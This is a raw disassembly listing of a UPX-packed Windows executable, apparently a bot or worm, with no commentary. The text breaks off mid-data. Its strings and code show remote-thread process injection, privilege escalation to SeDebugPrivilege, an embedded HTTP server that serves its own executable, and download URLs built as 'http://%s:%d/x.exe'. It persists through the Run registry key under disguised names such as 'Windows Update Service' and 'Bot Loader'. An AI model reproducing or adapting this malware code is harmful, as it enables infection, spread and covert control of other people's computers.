sub_314319BC+5Co pop esp pop esp loc_31434CA2: ; CODE XREF: UPX0:31434C9Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31434CAC dd 1CEC8166h dword_31434CB0 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31431F23+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31431F23+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31431F23+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31431F23+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31431F23+8o ; sub_3143256D+13Ao align 4 aUterm192 db 'uterm19-2',0 ; DATA XREF: sub_31431FAB:loc_31432090o align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31431FAB+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31431FAB:loc_31431FF2o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31431FAB+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31431FAB+18o align 4 dword_31434D64 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31432239+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_31432239+3Do aUterm20 db 'uterm20',0 ; DATA XREF: UPX0:3143250Co ; sub_3143256D+148o aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:314324F7o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_3143256D+141o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3143256D+133o align 10h aWininet db 'wininet',0 ; DATA XREF: sub_3143256D+12Co aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3143256D+11Fo align 10h aU20x db 'u20x',0 ; DATA XREF: sub_3143256D+CBo align 4 aU20 db 'u20',0 ; DATA XREF: sub_3143256D+C4o aU19 db 'u19',0 ; DATA XREF: sub_3143256D+BDo aU18 db 'u18',0 ; DATA XREF: sub_3143256D+B6o aU17 db 'u17',0 ; DATA XREF: sub_3143256D+AFo aU16 db 'u16',0 ; DATA XREF: sub_3143256D+A8o aU15 db 'u15',0 ; DATA XREF: sub_3143256D+A1o aU14 db 'u14',0 ; DATA XREF: sub_3143256D+9Ao aU13i db 'u13i',0 ; DATA XREF: sub_3143256D+93o align 4 aU13 db 'u13',0 ; DATA XREF: sub_3143256D+8Co aU12 db 'u12',0 ; DATA XREF: sub_3143256D+85o aU11 db 'u11',0 ; DATA XREF: sub_3143256D+7Eo aU10 db 'u10',0 ; DATA XREF: sub_3143256D+77o aU9 db 'u9',0 ; DATA XREF: sub_3143256D+70o align 10h aU8 db 'u8',0 ; DATA XREF: sub_3143256D+69o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_3143256D+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_3143256D+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_3143256D+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_3143256D+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_3143256D+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_3143256D+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3143256D+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_3143256D+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3143256D+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_3143256D+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_314328D7+2Do align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3143237F+23o ; sub_31432BAD+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_3143237F+1Co ; sub_31432C62+87o ... align 10h aFgnsdrjyrsert db 'fgnsdrjyrsert',0 ; DATA XREF: sub_31431782+4Fo ; sub_31432D2E+57o ... align 10h dd 2 dup(0) aSoftwareMicr_1 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31432D2E+32o aClient db 'Client',0 ; DATA XREF: sub_31432D2E+BCo ; sub_31432D2E+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31432D2E+37o ; sub_31432D2E+75o align 10h aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_31432BAD+55o align 10h aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31432BAD+4Eo align 10h aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31432BAD+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31432BAD+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31432BAD+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31432BAD+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31432BAD+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31432BAD+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31432BAD+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31432BAD+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31432BAD+Fo align 4 a1: ; DATA XREF: sub_31432D2E+B7o unicode 0, <1>,0 dd 7 dup(0) dword_31435028 dd 0 ; sub_3143237F+80w dword_3143502C dd 0 ; sub_3143185D+53o ... dword_31435030 dd 0 ; sub_31432239:loc_314322E7r ... dword_31435034 dd 68h ; UPX0:31432517w ... dword_31435038 dd 0 ; sub_3143256D+DCw dword_3143503C dd 0 ; sub_314328D7+20r dword_31435040 dd 31430000h ; UPX0:314324FCw dword_31435044 dd 0 ; sub_3143185D+4Ao ... dword_31435048 dd 0 ; UPX0:31432974w ... dword_3143504C dd 0 ; sub_31432728+41r ... dword_31435050 dd 0 ; sub_31432D2E+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31436000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31436000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31437C81o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 4C746547h dd 45747361h, 726F7272h, 72570100h, 46657469h, 656C69h dd 6F6C4301h, 61486573h, 656C646Eh, 72430100h, 65746165h dd 656C6946h, 6C010041h, 6C727473h, 416E65h, 74736C01h dd 74616372h, 47010041h, 79537465h, 6D657473h, 65726944h dd 726F7463h, 1004179h, 65746E49h, 636F6C72h, 4564656Bh dd 61686378h, 65676Eh, 74654701h, 61636F4Ch, 6E49656Ch dd 416F66h, 656C5301h, 1007065h, 7274736Ch, 6E797063h dd 47010041h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 65470100h, 6F725074h, 64644163h, 73736572h, 6F4C0100h dd 694C6461h, 72617262h, 1004179h, 74697257h, 6F725065h dd 73736563h, 6F6D654Dh, 1007972h, 6E65704Fh, 636F7250h dd 737365h, 74654701h, 75646F4Dh, 6148656Ch, 656C646Eh dd 47010041h, 69547465h, 6F436B63h, 746E75h, 65724301h dd 4D657461h, 78657475h, 43010041h, 74616572h, 72685465h dd 646165h, 65724301h, 50657461h, 65636F72h, 417373h, 74655301h dd 6E657645h, 4F010074h, 456E6570h, 746E6576h, 45010041h dd 54746978h, 61657268h, 49010064h, 7265746Eh, 6B636F6Ch dd 6E496465h, 6D657263h, 746E65h, 61655201h, 6C694664h dd 47010065h, 69467465h, 6953656Ch, 100657Ah, 74697845h dd 636F7250h, 737365h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 6F746101h, 73010069h, 68637274h dd 0E9000072h, 14000000h, 1000001h, 646E6946h, 646E6957h dd 41776Fh, 74654701h, 65726F46h, 756F7267h, 6957646Eh dd 776F646Eh, 65470100h, 6E695774h, 54776F64h, 61657268h dd 6F725064h, 73736563h, 1006449h, 72707377h, 66746E69h dd 0F4000041h, 28000000h, 1000001h, 65746E49h, 74656E72h dd 6E65704Fh, 416C7255h, 6E490100h, 6E726574h, 704F7465h dd 416E65h, 746E4901h, 656E7265h, 6F6C4374h, 61486573h dd 656C646Eh, 6E490100h, 6E726574h, 65477465h, 6E6F4374h dd 7463656Eh, 74536465h, 657461h, 746E4901h, 656E7265h dd 61655274h, 6C694664h, 65h, 40000001h, 0FF000001h, 2FF0073h dd 0DFF00h, 0FF0001FFh, 6FFF0039h, 34FF00h, 0FF0017FFh dd 9FF000Ch, 4FF00h, 0FF0013FFh, 16FF0010h, 3FF00h, 0 dd 455000h, 2014C00h, 0E07ED200h, 40h, 0 dd 0F00E000h, 6010B01h, 280000h, 120000h, 0 dd 24EF00h, 100000h, 400000h, 43000000h, 100031h, 20000h dd 400h, 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 2F0400h, 8C00h, 14h dup(0) dd 100000h, 18000h, 6 dup(0) dd 65742E00h, 7478h, 263200h, 100000h, 280000h, 40000h dd 3 dup(0) dd 4002000h, 61642EE0h, 6174h, 105400h, 400000h, 120000h dd 2C0000h, 3 dup(0) dd 4000h, 5000C0h, 311000h, 54C900h, 57965900h, 6849FAFAh dd 0B7000E29h, 844F4CCFh, 0A2623FE0h, 0DC24106Ah, 0DED1BA53h dd 44810B66h, 5F0DC766h, 0B73BD68h, 0E4D6E6CDh, 0DE196664h dd 164C2621h, 0FC5644DEh, 31E07589h, 51B36968h, 3EA2E2Eh dd 0C8BF9C37h, 0E89C3A7h, 6CD8E087h, 770D7C13h, 0A8433716h dd 18D3B345h, 9B6BDB07h, 0F88C0D0Bh, 49190640h, 73F27046h dd 6A9821CDh, 4634332Eh, 17273C8h, 37E0DE64h, 3010CCDFh dd 8C0F4608h, 0D0BD8027h, 740B89E5h, 0C5803126h, 43089D01h dd 0D0EECD70h, 0BC3C0007h, 115690F0h, 0B66061EEh, 0AA425F0Ch dd 0C1FF15Ch, 11784396h, 0C9EC0CB3h, 9705C87Ch, 0F8786E0Ah dd 894BE6A1h, 25620546h, 0DA46568h, 0AEC28B6Dh, 92A2043Bh dd 3CF01Ch, 27BE83Bh, 100BC86Ah, 4824A32Eh, 86024A19h dd 0A0CF6043h, 2163390h, 0B9AEBB03h, 0A73D7D95h, 769F6801h dd 664A48E6h, 3A21B736h, 1B5AB7CCh, 3DB9A4E0h, 6A7684E4h dd 96F42A70h, 364719B4h, 5EC86007h, 7A97640Ah, 39F0D92Eh dd 0A2280084h, 3C4B283Fh, 0CDCB59B2h, 98B9B26Ch, 23BDEBE2h dd 0DC0167A7h, 0C77E500Fh, 0BE1F218Dh, 0AC68F60Eh, 0D328C00Dh dd 0C676E6C9h, 0E57A08A1h, 0DB0C7A04h, 0C8611488h, 2DC54C20h dd 6C84BF34h, 2EDB1CD6h, 0B698DE40h, 4192FC84h, 40BCDE44h dd 0C27190D6h, 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh dd 67E9ACF9h, 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h dd 1CF25B07h, 96F41276h, 0A19DE9C3h, 4F0CEF1Bh, 7BC87C6Ah dd 64B1E3C3h, 0C9BE4934h, 991DD27Bh, 90E154E4h, 0B42DE924h dd 48B9B999h, 0EDCF7881h, 0C80A5848h, 0CF88286h, 6633F415h dd 2665846h, 7808747Ah, 41BA9D5Fh, 5FF4C65Eh, 7D1C0F8Ah dd 9C1369E0h, 0AC204D0Ch, 0C0A8357Fh, 5F68683h, 572448F8h dd 565FC937h, 5A7457D8h, 74F80E14h, 0B8C8684Bh, 0CA8950BAh dd 0E83D7496h, 4B4B3F6Ch, 0A44120C9h, 0FFC55FFh, 0F6B9ADE8h dd 50E4B92Ch, 0E9628ACh, 0CCDA6AD9h, 0F81B02F0h, 0E48C0009h dd 81DB40ACh, 42F47558h, 29C587EEh, 8B181F13h, 6701400Dh dd 0BFEEFFB6h, 3C418B2Fh, 68C10357h, 488B9758h, 50788B34h dd 0A0F44D89h, 8D759CB8h, 1BDBD84Bh, 0BEF09153h, 0B002F0ACh dd 4751EB01h, 0ED74EC12h, 1AC55A0Ch, 0D7240Dh, 9300CA82h dd 18090E6Dh, 0B22ECDEh, 0F84DAFDFh, 1C185051h, 412A6897h dd 8958D8ABh, 60FE5DB4h, 0CAD2C68Bh, 1C346B03h, 0B7680630h dd 59AB1976h, 0BE7DF055h, 135BAB62h, 0F03E45E6h, 0DC50EF51h dd 34EC5F13h, 34A110B0h, 0FFFAD6BDh, 172783C4h, 5577D06Ah dd 74C73BECh, 805F8C78h, 1BEB1605h, 684D1868h, 3959E010h dd 0E5CC857h, 8D405FCh, 0F8041D74h, 0FC58EFA2h, 4251511Dh dd 2F0DC32Bh, 69310F60h, 41B60D10h, 0BC258964h, 22B1AFDDh dd 138575D6h, 590FECB2h, 5D33DB2Dh, 6AF9C267h, 803CC0B6h dd 624EE90Ch, 50A85089h, 0C42C507Dh, 0AC297488h, 8020195Dh dd 0B3F8B55Bh, 7C8B5743h, 57D21424h, 67FFF7Eh, 1A87178Bh dd 8861C280h, 3B461E14h, 80E97CF7h, 0E030E036h, 4A003B24h dd 86444954h, 2EDB78CEh, 57AC5A5Fh, 2166DB56h, 303A5DCh dd 0F0DC732Fh, 25B81950h, 648D62h, 0E377ACAAh, 954D04F0h dd 49F408C8h, 0DBA32668h, 0F00CFADAh, 3408C7FFh, 0DA65B27Bh dd 2E2ACC34h, 0A0A7550h, 666B5CE8h, 1A20BC54h, 0B7ED5818h dd 7C64F85h, 13B7FB8h, 0C408B14h, 2C01008Bh, 86F8E76h dd 24448D51h, 1134215Fh, 9A7C2D3h, 245903DBh, 0BBD01507h dd 7743A19Eh, 2FCC2007h, 3233E433h, 0F8C83FDBh, 8510E7C1h dd 0A05B60Bh, 200CD86h, 0CF125D8Bh, 1C0BABECh, 7FC20099h dd 7B55C653h, 139E2416h, 0C0934521h, 25AAECF0h, 6E5D868h dd 5B4ECF20h, 17B5ADE7h, 675641F0h, 35953336h, 0A33D986Ch dd 8CC6EC66h, 503044B7h, 0B370FE47h, 4D80C581h, 0EBDA14A5h dd 54B3174Eh, 0A134007Ch, 37FBAE33h, 7900B9F0h, 0C13BC72Bh dd 0C18B0272h, 0FC292BE1h, 0A1DDBDDDh, 0C7031828h, 1374AC23h dd 1172233Dh, 4678516Ah, 40F8784Bh, 0EC13C4EBh, 0E1B462D9h dd 0D8117750h, 0DC9A941Eh, 68159E4Dh, 68030B68h, 9B6B3A64h dd 3A3C97C5h, 8F535453h, 52CC7D18h, 9824D483h, 0C423347Dh dd 30DE04C2h, 4FB2F457h, 0B1B1087Dh, 0E868C3D0h, 168EE4Eh dd 0B8BAAFDEh, 89FF6806h, 0ED04841Dh, 0D4244BA9h, 539100F2h dd 9886937Bh, 3A01026Dh, 1CD680A6h, 0FD775A8Dh, 0E741A4Dh dd 2F6946CFh, 0CA3E0CDh, 0ACEF4BC2h, 0A4FEA365h, 565153FCh dd 635B3A5Bh, 68DC3A86h, 87DF2656h, 5EF9119Bh, 10C25C19h dd 1B4D424Ch, 56C05E05h, 9DFD0C4Bh, 89E8D2F4h, 50DEC5Dh dd 1FFF25FFh, 0BEEC1BFDh, 0A3C33A04h, 0E774433Ch, 84CC8A1Fh dd 50DF74C9h, 937ABE3h, 5F42EA6Bh, 4C85A544h, 646530B7h dd 0B97B480Ch, 5F7D35FBh, 1FD814F8h, 68B1114Ch, 0D9C22239h dd 9111D5Bh, 53E2EB62h, 0CC455FCFh, 4384B982h, 0B6700190h dd 0AE3AF759h, 0D6B03340h, 36023E11h, 0E687A60Fh, 0B8803AD6h dd 3044E468h, 0A3AB1B63h, 7C74E040h, 4AB27633h, 34A37B69h dd 767B781Ah, 0B73D6182h, 29E44552h, 43041F0Fh, 1BB37D9Ch dd 682A1DA9h, 0A713256Dh, 13ED7ED1h, 1586EB0Dh, 35699969h dd 0AC188438h, 397044C6h, 4B104D40h, 0D290E409h, 3372396Ch dd 88454ADCh, 8C06EF9Ch, 238C9094h, 941C8E47h, 9C7C9884h dd 0E472A074h, 0A46C91C8h, 0AC5CA864h, 1C8E4754h, 0B450B039h dd 0BC48B84Ch, 91C8E444h, 0C440C023h, 8E34C83Ch, 0CC72391Ch dd 0D42CD030h, 0C724D828h, 0DC472391h, 0E41CE020h, 76CD9018h dd 9C10C780h, 0A36CE145h, 7ADB72F1h, 2FCBEECh, 730A8384h dd 0B806ED12h, 4F8442B4h, 59B8885h, 9B0CFF59h, 0EBD9C870h dd 0B00E1AE8h, 0E0F91A6Ah, 95391A17h, 8683974h, 32ACB94Eh dd 45936C72h, 0F8064E00h, 21760C4Dh, 0A8F07261h, 49BF140Ah dd 79B7676Eh, 0EF15237Fh, 0F1185D0Ah, 33C822E0h, 559C5029h dd 0D747E90Fh, 18B4146Dh, 0AA138806h, 1412E3EBh, 17A7049Eh dd 0DBA3BD23h, 63123818h, 7FA48071h, 8FD5BDh, 458A4FBBh dd 0FF77530Bh, 83DBDB32h, 3A518701h, 5D3831D9h, 0E93125DBh dd 5D88E291h, 0B8099D0Bh, 80CF1559h, 4CB72CDFh, 0F1F7D233h dd 0FE9BD103h, 0CB65EBC3h, 0FFFB80F8h, 60C6BD72h, 1C0F5674h dd 7A303876h, 41586667h, 4F870ADBh, 40A7F05h, 3B6B3618h dd 9A0B0918h, 17692573h, 0F758BECh, 37272804h, 0AC01D0C8h dd 8147822Bh, 6CE27695h, 4C9FA16Ah, 7A595D5Eh, 2CD74CAEh dd 0F0A26472h, 7832DB7Ch, 0FD720A2Eh, 35F8FF04h, 0FEF42Fh dd 0F7887F3Ch, 0B18BB06Ah, 4D8B6C3h, 0A9DCFD3Bh, 0EC04A23Eh dd 579F6764h, 9B572F9Dh, 4B3DB21Ch, 1359F8E0h, 4A36FF8Ah dd 0B2C54ADCh, 68FCEE75h, 0C8EC3C27h, 0BDD3A21Ah, 70849ED3h dd 1C180961h, 4C5AA537h, 52AD630h, 508FCC4Fh, 18B6BD78h dd 0FC68BAE3h, 67B7C156h, 0B3C443Eh, 0A468B003h, 0DCB71E4Eh dd 11104580h, 6842E231h, 12F7D70h, 0B80C613h, 0C0B343DFh dd 5579BB02h, 8E579756h, 663C344h, 4D1DE6BCh, 30E26CA4h dd 0FD1F0C43h, 53146CF4h, 483776CDh, 20BF66Bh, 4838506Ah dd 76D9A65Dh, 0D005C7DFh, 1974F896h, 9D01480Bh, 0BDDCCE60h dd 141A055Eh dd 0E103D851h, 1806DE27h, 0C9FB81D3h, 0D6530D74h, 0B6844203h dd 1D1053C7h, 0DB04C3Bh, 1824C37Dh, 0ED85ED3Ch, 10B1117Eh dd 0EED82C28h, 144DEDB0h, 0A40598EFh, 200DF2EBh, 75324B74h dd 6DDEB65h, 0EB45C0B0h, 27D53F68h, 60B11BA2h, 0B5150C64h dd 43A5106Fh, 14083BE8h, 6CD7513Bh, 18D4C859h, 18430856h dd 31883EF6h, 3D566C2Eh, 0A52ADC74h, 4DE702DBh, 2050DF61h dd 4E05B110h, 3081896h, 6B0F5EB6h, 557E2CD1h, 0FAEDC68Bh dd 6764C82Eh, 532C56ADh, 67005556h, 270C422Dh, 0C520A31h dd 2C81C931h, 0C45D0C04h, 0BB679061h, 0E0530128h, 0F40B89FBh dd 8E3D4E2Dh, 1E3C4094h, 1F10365Ch, 794E7A1Ch, 0F8E510F7h dd 0EB778B64h, 687AA239h, 17D86635h, 0B13B3Bh, 2005C710h dd 0A24F7789h, 7DF21E99h, 1E748D47h, 0BD02609Bh, 0AE48FCA2h dd 0FE8194DCh, 0B5FF1C2Ah, 0FFF51EFh, 0E6CCCD1Fh, 60085282h dd 0D5CCE50h, 76EC4687h, 3CB787BDh, 89D0D036h, 0B457E273h dd 23914FECh, 6D846C7h, 0B4D8C0D4h, 0C8E47239h, 0A0E0ACDCh dd 7CE888E4h, 1C8E4730h, 50F060ECh, 45F340F4h, 86B764D3h dd 0BE70BF0Bh, 8B858E85h, 188B8A05h, 0A0406C49h, 8357C491h dd 0F4D50E17h, 1D101B05h, 8340F10Bh, 326A8452h, 0A775BFAFh dd 4D84628Ah, 74767830h, 5D74B409h, 653FA8CCh, 0A5636A88h dd 0FE0B84C8h, 28A19C09h, 8303E083h, 866305C0h, 5BD3CAA3h dd 51CFC42Ah, 10B9186Eh, 661C3D1Eh, 0D6CE9DEEh, 3F140E26h dd 3D9A0497h, 0D56150E8h, 1425A00Bh, 0CD4B4D21h, 0D2415662h dd 7D09E592h, 19419836h, 0C401F454h, 2E987A04h, 0AB8BE407h dd 0B408B9F6h, 481FC523h, 436839C7h, 2565140Ch, 84102550h dd 0E04DBFDDh, 0BF501D6Ah, 3C4C4F18h, 0C1D0514Fh, 743F81EAh dd 0BB0A3D37h, 32BD758Ah, 53D942B3h, 60D8B3F4h, 53BC4906h dd 0BDB3383Dh, 0EBB17EE6h, 32CE590Fh, 65B068B6h, 0E227A0C1h dd 0D12A0E65h, 58C22638h, 0D9B9DA18h, 0BB4634B2h, 5E1C0DB9h dd 0EB05066h, 57125E1Eh, 964EC6F0h, 0C6314CEEh, 0B6413BBBh dd 2CFD90CCh, 90B650B6h, 480718B7h, 6015EB0Ch, 2D1880E5h dd 0AF2509CDh, 5D32BA1Eh, 44330C69h, 0EC5B3D5Ch, 6A7E6883h dd 0CC401113h, 84D0A99Bh, 311BFF00h, 661DF805h, 0F4109E46h dd 0BE511FF0h, 0B048D56Fh, 1472048Dh, 2D0BE981h, 0FD8FEDF5h dd 17018504h, 0C82BEC73h, 8B0CC48Bh, 0D8088BE1h, 0FF6ED6C8h dd 435C5004h, 4055C64h, 58D8D800h, 0A3000049h, 420900A8h dd 6C5D2FCh, 5224F102h, 80314153h, 0FFFFFFC8h, 0F50101DDh dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh dd 5E1A9544h, 0FFFFFFE8h, 85A03261h, 949F6A1Fh, 843994FFh dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 377FFFFFh dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h dd 3B656C62h, 49534D20h, 0ED6FFFF7h, 15362045h, 6E695709h dd 73776F64h, 20544E20h, 29312E35h, 2EECF734h, 0C7E445h dd 0C40104D4h, 0F7DF0EB4h, 90A0CF3Ch, 68047480h, 0CF3D580Eh dd 48097CF3h, 30D4743Ch, 9364DF3Ch, 10222045h, 0B600304Ah dd 0F8F90DFFh, 76631340h, 75722E76h, 0D8DB777Eh, 700D6F6h dd 976C6465h, 0C1660F65h, 0EDFFCA65h, 616573FDh, 0E686372h dd 626F721Fh, 6863786Fh, 6F676E61h, 0D2E6EDFFh, 0C74651Fh dd 622E6472h, 61007A69h, 6B686328h, 91B61762h, 740C6D61h dd 24782D06h, 0E6EDB6CDh, 6F6C0600h, 6B37620Eh, 0FBDBF647h dd 27626B6h, 76742E7Ah, 6F74111Bh, 176E2E70h, 30B60215h dd 27730F69h, 3FC2E33h, 0F788DB6h, 6C756461h, 4B652D74h dd 6DDB7269h, 3380CDFBh, 73A66E6Fh, 622E744Eh, 2B01F767h dd 67694F7Ch, 77780032h, 0FECE2C61h, 626AED6Dh, 9B00AD62h dd 6166617Ah, 221F2EA8h, 655DDBE1h, 61AF5C23h, 0F1646362h dd 65FFDBB7h, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h dd 0FF7A7978h, 54BFFFF2h, 44434241h, 48474645h, 4C4B4A49h dd 504F4E4Dh, 56555451h, 5A595857h, 1B9BFBF8h, 49642563h dd 6F530044h, 5C9E7466h, 706C694Dh, 0F90656BBh, 0DA575C0Dh dd 0FE007374h, 4774E30Fh, 74684F31h, 2F3A7074h, 0C273252Fh dd 0BC0EE6Fh, 2EC3912Fh, 3F706870h, 0EDF9ED3Ah, 260F3DDBh dd 66E6373h, 6E692664h, 0F3B7666h, 3DF6EC76h, 13263032h dd 0EB373D74h, 32313958h, 0BF87B237h, 3101D06Bh, 3030383Ah dd 0DF07652Fh, 80FFFF00h, 5DDF1030h, 0B966C933h, 758D01EEh dd 8AFE8B05h, 6FFFE206h, 7993CDBh, 302C0646h, 88993446h dd 0EDE24707h, 0DAE80AEBh, 0B46FF7FEh, 676507DFh, 9993712Eh dd 0FD1201C9h, 16FD91BDh, 0DFFFEFF7h, 6872C107h, 66FD42AAh dd 0BA10FDAAh, 98A91C14h, 98F3C91Ah, 0FFB308F1h, 2865BB1h dd 9010C071h, 9237CB5Fh, 781C9659h, 0F93ED3Ah, 57E414FBh dd 3A0A7D71h, 9DF34571h, 9D2304F1h, 989BEFBh, 119C04F1h dd 0EF67B340h, 0F3FD8EEDh, 1C10F0E3h, 59B20BDCh, 25C99B60h dd 3D8F9601h, 414D9F6h, 71CA17A1h, 688D2B9Eh, 0EDAD9161h dd 1A4637B3h, 111D960Ah, 0C850B228h, 6D9FED00h, 0DC14996Fh dd 12255557h, 91C0A44Eh, 0FD994912h, 0EDDEDFECh, 140054F7h dd 0CBCA3AC4h, 0FF1C3B71h, 6C21E424h, 1ADD87B3h, 8FCDCDCFh dd 3F812C66h, 0FBB66F1Eh, 0B8B0FB9Fh, 12CDC383h, 0CBC9A85Dh dd 7F64251Dh, 24AD9DB2h, 0A6485A0Bh, 0B314C096h, 1BC9FECBh dd 0EBA7294Ch, 0E9BA9CF3h, 0D9FFF716h, 26F434F7h, 0EFCF571h dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 766FFFEFh, 16A0A8ECh dd 0FFC5B701h, 0E9ECE9EDh, 0E1FCB7FDh, 0FBBFD2Ch, 0F5CA0161h dd 0F25AFCFCh, 0FCF7EBFCh, 0FFABAAF5h, 0D6BFFFE5h, 0AAF934C7h dd 2A25B459h, 0ACC9662Ah, 0B7819093h, 83639D90h, 9271CDC9h dd 67F0BEECh, 3519BF30h, 95D91451h, 2A91720Ah, 0FFFBC871h dd 0D2EB20FFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh, 12B9C89Ah dd 474A9A8Bh, 46FEDFFFh, 9BAB9EEBh, 20A319DBh, 0DDA26CECh dd 9EED85BDh, 81E8A2DFh, 0FDBFFFCDh, 125544EBh, 961FBDC8h dd 12EB8D2Eh, 5A9A85D8h, 9A099D12h, 0BBF8105Ah, 960B09FFh dd 664922D0h, 12FEFD7Fh, 0C25AA987h, 6EDB4095h, 1285026Fh dd 5A910482h, 9CFF7CBh, 0A767F9B9h, 4D53FF85h, 53187242h dd 0F4BFFFC8h, 62FEFFCFh, 43500200h, 575445ABh, 204B524Fh dd 474F5250h, 0ED624152h, 204DE35Bh, 4C17CD31h, 24D4E41h dd 0EB52B70Ah, 3D66D390h, 676B03DFh, 4BB696EBh, 0E707587h dd 27611A33h, 1F2A234Dh, 583274B6h, 32323221h, 5833312Eh dd 18FE66D3h, 8B323C20h, 0C95A25A4h, 7A0773C8h, 0DBEC1B1Ah dd 23FF0Ch, 140A1104h, 0DD40520h, 185DADEh, 4B4C0069h dd 68505353h, 4BE48F6h, 8829772h, 240057E0h, 0EB605DCDh dd 6F30006Eh, 3A73009Dh, 